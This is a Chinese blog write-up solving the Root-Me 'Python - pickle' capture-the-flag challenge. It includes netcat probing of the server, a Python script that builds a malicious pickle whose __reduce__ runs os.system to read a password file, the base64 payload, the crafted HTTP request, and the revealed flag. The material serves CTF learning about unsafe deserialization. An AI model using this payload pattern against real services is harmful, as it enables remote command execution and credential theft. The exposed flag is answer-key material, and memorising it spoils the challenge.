CTF-rootme 题解之Python - pickle

 

 

LINK:https://www.root-me.org/en/Challenges/App-Script/Python-pickle

Referrence:https://github.com/Djazouli/RootMeHelp/blob/06d4ad358f43217c12dc8a36dc41ef9cea787f69/AppScript/Python_pickle.md

         https://docs.python.org/3/library/pickle.html?highlight=pickle#module-pickle

         https://github.com/python/cpython/blob/3.7/Lib/pickle.py

 

Warning

The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

官方文档中说过,pickle是个不安全的模块,永远别去反序列化不信任的数据。

pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict")

Read a pickled object hierarchy from a bytes object and return the reconstituted object hierarchy specified therein.

The protocol version of the pickle is detected automatically, so no protocol argument is needed. Bytes past the pickled object’s representation are ignored.

Optional keyword arguments are fix_imports, encoding and errors, which are used to control compatibility support for pickle stream generated by Python 2. If fix_imports is true, pickle will try to map the old Python 2 names to the new names used in Python 3. The encoding and errors tell pickle how to decode 8-bit string instances pickled by Python 2; these default to ‘ASCII’ and ‘strict’, respectively. The encoding can be ‘bytes’ to read these 8-bit string instances as bytes objects. Using encoding='latin1' is required for unpickling NumPy arrays and instances of datetime, date and time pickled by Python 2.

 

[ BlackArch ~ ]# nc challenge02.root-me.org 60005
admin


<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>。
<p>Error code 400.
<p>Message: Bad request syntax ('admin').
<p>Error code explanation: 400 = Bad request syntax or unsupported method. //请求方法不对
</body>

[ BlackArch ~ ]# nc challenge02.root-me.org 60005
GET / HTTP/1.0

HTTP/1.0 404 Not Found
Server: BaseHTTP/0.3 Python/2.7.6
Date: Thu, 28 Mar 2019 03:58:48 GMT
Content-type: text/plain

{"result": "Not allowed you should first AUTH"}    //使用AUTH方法
[ BlackArch ~ ]# nc challenge02.root-me.org 60005
AUTH admin HTTP/1.0

HTTP/1.0 404 Not Found
Server: BaseHTTP/0.3 Python/2.7.6
Date: Thu, 28 Mar 2019 03:26:00 GMT
Content-type: text/plain

{"result": "Can't find 'Authenticate' header"}          //http请求头需要包含Authenticate字段。

[ BlackArch ~ ]# nc challenge02.root-me.org 60005
AUTH admin HTTP/1.0
Authenticate:admin

HTTP/1.0 404 Not Found
Server: BaseHTTP/0.3 Python/2.7.6
Date: Thu, 28 Mar 2019 03:26:24 GMT
Content-type: text/plain

{"result": "Authentication failed = Traceback (most recent call last):\n  File \"/challenge/app-script/ch5/ch5\", line 52, in do_AUTH\n    authcombi = pickle.loads(base64.b64decode(self.headers.getheader('Authenticate')))\n  File \"/usr/lib/python2.7/base64.py\", line 76, in b64decode\n    raise TypeError(msg)\nTypeError: Incorrect padding\n"}

上述操作我们得到了关键信息authcombi = pickle.loads(base64.b64decode(self.headers.getheader('Authenticate'))),将http请求头中的Authenticate字段通过

Base64解码后得到的字节对象再通过pickle模块反序列化后得到的结果赋值给authcombi变量。

解题思路:构造相对应的HTTP请求头,主要构造Authenticate这个字段,首先这个字段是一个通过Python的pickle模块序列化后的一个字节对象,并且需要使用base64编码格式。

编写python脚本如下:

#!/usr/bin/env python

import os
import cPickle
import base64

class RunCmd(object):
    def __reduce__(self):
        return(os.system,
                (('cat /challenge/app-script/ch5/.passwd >&4'),))

print(base64.b64encode(cPickle.dumps(RunCmd())))

执行该脚本得到Payload:

Y3Bvc2l4CnN5c3RlbQpwMQooUydjYXQgL2NoYWxsZW5nZS9hcHAtc2NyaXB0L2NoNS8ucGFzc3dkID4mNCcKcDIKdHAzClJwNAou

构造如下HTTP请求:

[ BlackArch ~ ]# nc challenge02.root-me.org 60005
AUTH admin HTTP/1.0
Authenticate:Y3Bvc2l4CnN5c3RlbQpwMQooUydjYXQgL2NoYWxsZW5nZS9hcHAtc2NyaXB0L2NoNS8ucGFzc3dkID4mNCcKcDIKdHAzClJwNAou
//输入这两行后回车 6kSGEI2bh8bgRfCW    //得到flag HTTP
/1.0 200 OK Server: BaseHTTP/0.3 Python/2.7.6 Date: Thu, 28 Mar 2019 04:03:29 GMT Content-type: text/plain {"result": "Authentication successful"}

 

附录:pickle模块

python的pickle模块实现了python的所有数据序列和反序列化。基本上功能使用和JSON模块没有太大区别,方法也同样是dumps/dump和loads/load。cPickle是pickle模块的C语言编译版本相对速度更快。

与JSON不同的是pickle不是用于多种语言间的数据传输,它仅作为python对象的持久化或者python程序间进行互相传输对象的方法,因此它支持了python所有的数据类型。

pickle反序列化后的对象与原对象是等值的副本对象,类似与deepcopy。

 

posted @ 2019-03-28 11:34  heycomputer  阅读(5841)  评论(0编辑  收藏  举报